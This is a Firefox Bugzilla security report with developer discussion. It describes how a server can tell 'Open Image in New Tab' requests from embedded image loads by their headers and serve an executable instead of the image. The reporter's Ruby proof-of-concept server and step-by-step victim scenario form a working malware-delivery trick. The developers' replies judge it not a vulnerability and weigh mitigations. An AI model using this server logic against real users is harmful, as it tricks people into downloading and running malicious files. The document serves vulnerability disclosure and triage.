Open Bug 1843179 Opened 11 months ago Updated 16 days ago

Manipulating HTTP headers in image requests allows for the delivery of malicious content.

Categories

(Firefox :: Menus, defect, P3)

Firefox 115
defect

Tracking

()

People

(Reporter: stanlyoncm, Unassigned)

References

Details

(Keywords: reporter-external)

Attachments

(1 file)

1.26 MB, application/x-zip-compressed
Details

User Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36
Firefox for Android

Steps to reproduce:

Tested on:

  • User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/115.0

  • User-Agent: Mozilla/5.0 (Android 13; Mobile; rv:109.0) Gecko/115.0 Firefox/115.0

Description

When making HTTP requests to fetch an image through a web browser, different headers are included in the HTTP requests depending on how the image is desired to be obtained and also depending on the device being used. The headers will be different, for instance, on Windows, the web browser will send the following headers when fetching the image through the HTML "<img>" tag:

GET /image.png HTTP/1.1
Host: image-server.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: image/avif,image/webp,*/*
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: keep-alive
Referer: http://server.com

When using the context menu option "Open image in a new tab," the web browser sends the following headers:

GET /image.png HTTP/1.1
Host: image-server.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: keep-alive
Referer: http://server.com
Upgrade-Insecure-Requests: 1

From here, a specially designed server can detect when the victim has embedded an image and when they have opened it in a new tab.

There are various attack scenarios in which an attacker could use this information to trick the victim into downloading a malicious file instead of an image, for example:

  1. The malicious server sends the image when it is embedded through the HTML img tag, but when it is opened in a new tab, the server sends a malicious file.

In this case, any user who decides to open an embedded image from the attacker's server in a new tab would receive a malicious file. For example, if it's Windows, it could be a Portable Executable (PE) file, or if it's Android, it could be an Android Application Package (APK) file.

It's important to note that the malicious server can be implemented in various ways. The crucial aspect is that it uses a TCP socket and, based on the headers sent by the web browser, the server sends a specific response.

Furthermore, it's relevant to remember that, as mentioned earlier, based on the HTTP request and the system or device used, the malicious server needs to send an appropriate response to deliver the malicious file to the victim attempting to view the image in a new tab. In this context, the malicious server or, in this case, the functional exploit, would be the one that fulfills the aforementioned description. That is, the server must be capable of detecting from which system or device the request is made, which can be determined through the User-Agent request header. Additionally, the headers sent with the HTTP requests to view an image will be different depending on the device.

However, it's important to emphasize that the purpose of this report is not to create a server that meets all the mentioned details, as there are multiple ways to achieve it. Instead, in order to understand the issue, I have created small test servers for specific systems that send the malicious file to the victim. For example, a proof-of-concept test server sends the malicious file when the victim makes requests from Windows, while another server sends a malicious file when the requests are made from Firefox on Android.

The following steps for reproduction will be based on the Windows operating system using the Firefox browser.

Steps To Reproduce

  • The following are the steps that the attacking user must follow:
  1. Create a directory called "poc" and navigate to this directory.

  2. Using the information below, create a file named "server.rb" and replace the value "000.000.0.0" of the variable "host" with the IP address where the malicious server will listen for connections:

###START
require 'socket'

host = '000.000.0.0'
port = 8080
server = TCPServer.open(host, port)

puts "Listen in http://#{host}:#{port}\n\n"

loop do
  client = server.accept

  Thread.new(client) do |cl|
    request = ''

    while (line = cl.gets) && (line != "\r\n")
      request += line
    end

    req_headers = request.split "\n"

    if req_headers[3] =~ %r{^Accept: text/html.*}
      puts "\e[31mNEW TAB AND SAVE (Windows)\e[0m\n\e[32m#{request}\e[0m\n"
      headers = ['Cache-Control: no-store', 'Content-type: application/x-msdownload',
                 'Content-Disposition: attachment; filename=image.exe', 'Last-Modified: POC']
      image = File.binread('images/image.exe')
    else
      puts "\e[31mNORMAL\e[0m\n\e[32m#{request}\e[0m\n"
      headers = ['Cache-Control: no-store', 'Content-type: image/png']
      image = File.binread('images/image.png')
    end

    response = "HTTP/1.1 200 OK\r\n#{headers.join("\r\n")}\r\n\r\n#{image}"

    cl.write response
    cl.close
  end
end
###END
  1. Using the information below, create a file named "index.html" and replace the value "000.000.0.0" of the src attribute in the img tag with the IP address where the malicious server will listen for connections:
<!DOCTYPE html>
<html lang="en">
<head>
	<meta charset="UTF-8">
	<meta name="viewport" content="width=device-width, initial-scale=1.0">
	<title>PoC</title>
</head>
<body>
	<h1>PoC by st4nly0n</h1>
	<img src="http://000.000.0.0:8080/image.png" />
</body>
</html>
  1. Create a directory called "images".

  2. Move an image of your choice in PNG format to the "images" directory with the name "image.png".

  3. Move a binary file to the "images" directory with the name "image.exe".

  4. Start listening for connections on the malicious server by running the "server.rb" file using "ruby.exe server.rb".

  5. From the same host and within the "poc" directory, serve the "index.html" file through port 9090 using the command "python.exe -m http.server 9090".

  • The following steps outline what the victim user should do:
  1. Open the Firefox web browser and navigate to the address http://000.000.0.0:9090/, where "000.000.0.0" represents the IP address of the server serving the "index.html" file (step 8).

  2. Right-click on the image and select "Open Image in New Tab".

  3. Open the image once the download is complete (located in the top right corner of the download bar).

As a result of the steps described above, the victim will have downloaded and executed a malicious file.

It is important to note that the same attack scenario can be applied to Android devices with the corresponding modifications. In this case, the malicious server should send an APK file. For GNU/Linux and macOS systems, the server will send a different specific file type.

To help you better understand the problem, I have created several proof-of-concept videos illustrating different attack scenarios and similar behaviors.

Additionally, I will attach the server files for it to work on Android. The procedure is the same as the steps to reproduce the issue on Windows, except you need to replace the value "000.000.0.0" in the "index.html" and "server.rb" files with the IP address of the malicious server that will be listening for connections. I also recommend replacing the "image.apk" file with one of your choice since the attached file will be empty.

Actual results:

The victim obtained a malicious file instead of an image.

Expected results:

The victim should get an image when they right-click on the image through the context menu and select "Open Image in New Tab."

Flags: needinfo?(dveditz)

Hi Daniel Veditz,

The vulnerability report describes a problem in which HTTP headers in image requests can be manipulated, allowing for the delivery of malicious content. Depending on how the image is obtained and the device being used, different headers are included in the HTTP requests. These headers can be different when fetching the image through the HTML "<img>" tag or when using the "Open Image in New Tab" option from the browser's context menu.

A specially designed server can detect whether the victim has embedded an image or opened it in a new tab. There are various attack scenarios in which an attacker could exploit this information to deceive the victim and make them download a malicious file instead of the expected image.

Thank you for your testcase and detailed steps to reproduce. I appreciate the clarity!

In the request headers to the server you left off some important standard headers that are sent with every request. In addition to the ones you listed, for an <img> request I also see:

Sec-Fetch-Dest: image
Sec-Fetch-Mode: no-cors
Sec-Fetch-Site: cross-site

whereas "Open Image in New Tab" results in:

Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: cross-site

The Fetch metadata request headers were explicitly designed to tell the site the context of a request so sites could better detect and protect themselves against certain common security attacks. This standard should be supported in all modern browsers, though I've only confirmed that Chrome behaves the same as Firefox in this example. Of course, it's not a given that all browsers implement an "open image in new tab" feature the same way.

As a result, yes, sites could by design easily detect this scenario and return different content. I grant that this might be unwelcome to the viewer (sites participating in the War Against Deep-Linking could return an image that says "Stop stealing our stuff!"). In turn, there are things the user could do to get the image anyway -- an endless game of cat and mouse.

Is an unexpected download a vulnerability? If a user is expecting an image and gets an executable download they're going to be mad, they aren't going to shrug and say "I guess I should open this". Sites could serve unsolicited downloads to the user at any time for any reason. There is a slight difference here if the evil site is otherwise only providing images to the site the user is on, because now the user has navigated to the evil site and given them the opportunity to do the unsolicited download. My team is unconvinced this is a vulnerability.

I was going to guess that loading the image in its own tab would normally be loaded from the cache and we wouldn't even send a request to the server (unless you were inspecting things with DevTools or had otherwise disabled the cache). But with Total Cookie Protection enabled the cache is partitioned, so unless the image was on the same site as the document you would still get that second request when you viewed it on its own. That's somewhat unfortunate, especially if it's an extremely large image.

Gijs: vulnerability or not, would preventing this kind of user surprise be a worthwhile usability improvement? I suspect we currently just throw a URL at a new tab and may not have the context to do these easily, but if we know the request came from the "Open Image in New Tab" menu item we could show an error if the content-type is not image/*. Or we could create an about:imageviewer?url= that would load the image an an <IMG> tag and automatically behave mostly the same.

Paul: from a privacy POV, do we need to worry that "Open Image in New Tab" could facilitate cross-cookiejar reidentification if there are any identifying parameters on a 3rd-party image URL that a user chooses to look at separately? I don't know if the feature is used enough for tracking sites to bother trying to capture these leaks.

Component: Untriaged → Menus
Flags: needinfo?(pbz)
Flags: needinfo?(gijskruitbosch+bugs)
Flags: needinfo?(dveditz)

Or we could create an about:imageviewer?url=

I'm imagining something that would tell lies in the address bar like about:reader does.

I edited comment 0 to reflect comment 1, and hid the latter for readability. The contents now look the same to me, but I don't know ruby so please let me know if I've done it wrong. In particular I don't know if that's a normal amount of backslashes in those puts lines :-)

Hi Daniel Veditz,

Thank you for your response.

I wrote the report by creating a small test laboratory in order to provide context. However, in the real world, the steps to reproduce this issue involve creating a malicious server that serves the image. The focus of this attack is on the ability to insert images into sites that allow image insertion, for example, through markdown using the following format: <img src="http://evil-server.com"/> or ![image](http://evil-server.com). There are sites, such as forums, that allow image insertion in this way.

Therefore, the scenario where the victim opens the image in a new tab could lead to arbitrary downloads. However, this can be confusing, as it may be mistakenly attributed to the site where the image is embedded.

The server.rb code continues to function as expected.

(In reply to Daniel Veditz [:dveditz] from comment #3)

Gijs: vulnerability or not, would preventing this kind of user surprise be a worthwhile usability improvement? I suspect we currently just throw a URL at a new tab and may not have the context to do these easily, but if we know the request came from the "Open Image in New Tab" menu item

We don't know this, indeed - the context is lost. But there are other reasons this would be good information to have, e.g. for SVGs (x-ref bug 1808147), and for 'accept' header purposes (which are different for images than for toplevel requests, which has caused us issues with webp/avif transcoding servers).

we could show an error if the content-type is not image/*.

ISTM that if we were able to pass this context to the tab somehow, we could ensure that the request content policy would be for an image, and perhaps that would be sufficient?

I don't know what the best way of making that happen would be. Nika, is this "just" a matter of passing a flag through loadURI (probably on loadURIOptions) and feeding it through some frontend code?

Or we could create an about:imageviewer?url= that would load the image an an <IMG> tag and automatically behave mostly the same.

This has been a pain in the ... for reader mode so I'd rather we don't go this route, unless Nika has a different opinion...

Flags: needinfo?(gijskruitbosch+bugs) → needinfo?(nika)

From a tracking perspective I'm not too worried. If a third-party image that is partitioned under two separate sites is opened in a new tab it bypasses our partitioning and could allow for tracking. However getting users to open images in new tabs across sites doesn't seem practical for trackers. Also, the same could be said about third-party iframes which users can open in new tabs via the context menu.
Once a user opens an iframe or an image in the top level context we show the former third-party now first-party in the URL bar. At this point the user can clearly see which site they're interacting with.

Flags: needinfo?(pbz)

(In reply to :Gijs (he/him) from comment #8)

(In reply to Daniel Veditz [:dveditz] from comment #3)

Gijs: vulnerability or not, would preventing this kind of user surprise be a worthwhile usability improvement? I suspect we currently just throw a URL at a new tab and may not have the context to do these easily, but if we know the request came from the "Open Image in New Tab" menu item

We don't know this, indeed - the context is lost. But there are other reasons this would be good information to have, e.g. for SVGs (x-ref bug 1808147), and for 'accept' header purposes (which are different for images than for toplevel requests, which has caused us issues with webp/avif transcoding servers).

we could show an error if the content-type is not image/*.

ISTM that if we were able to pass this context to the tab somehow, we could ensure that the request content policy would be for an image, and perhaps that would be sufficient?

I am unfortunately not super familiar with the content policy system, so I don't know exactly what would be required, but perhaps it would be possible for us to add a new internal content policy like TYPE_INTERNAL_IMAGE_DOCUMENT which is exposed as TYPE_DOCUMENT to other components (as it'd still need document security checks etc.), but serves headers as-if it was an image load. Actually piping the request for that through to creating the channel sounds like it'd be a bit of a pain to do though. This would also likely only change the request headers, and wouldn't prevent the server from replying with a different content type (which in some ways could be required - e.g. if the file requires authentication and the login expired before trying to open the image in a new tab, so now we're being redirected to the login page).

If we wanted to be quite strict about this, I suppose we could potentially add an option to document loading specifying some restrictions on what the response is allowed to be, somehow get this piped through to the nsDocumentOpenInfo, and then enforce it there? We do already have the nsIURILoader::DONT_RETARGET flag which would prevent the response from being handled by re-targeting (e.g. to trigger a download), though I don't think we have a way to specify this with URI flags right now, and this also wouldn't technically force it to be an image response.

It might be possible to add some extra flag which both acts like DONT_RETARGET to prevent starting a download or similar, and also requires that the response is handled as an image document of some kind? That would probably require getting the information quite deep though, so I don't know how straightforward something like that would be to implement.

I don't know what the best way of making that happen would be. Nika, is this "just" a matter of passing a flag through loadURI (probably on loadURIOptions) and feeding it through some frontend code?

It really depends on what behaviour we'd want to have happen. If we just wanted to prevent "open image in new tab" from causing a download, we could theoretically expose some way to specify nsIURILoader::DONT_RETARGET (though I think that would mean images with Content-Disposition: Attachment might not work?), which would be relatively straightforward, but changing what headers are sent to the server to pretend this isn't a navigation load would be substantially more complicated, and adding more complex enforcement of things like mime types is probably also quite a pain.

Flags: needinfo?(nika)

This is an interesting problem, but it doesn't need to be hidden.

Group: firefox-core-security
Status: UNCONFIRMED → NEW
Ever confirmed: true
Severity: -- → S3
Priority: -- → P3
Flags: sec-bounty?
See Also: → 1853005
See Also: → 1808147

Unfortunately this issue does not meet the criteria for our Bug Bounty program.

Flags: sec-bounty? → sec-bounty-
You need to log in before you can comment on or make changes to this bug.

Attachment

General

Creator:
Created:
Updated:
Size: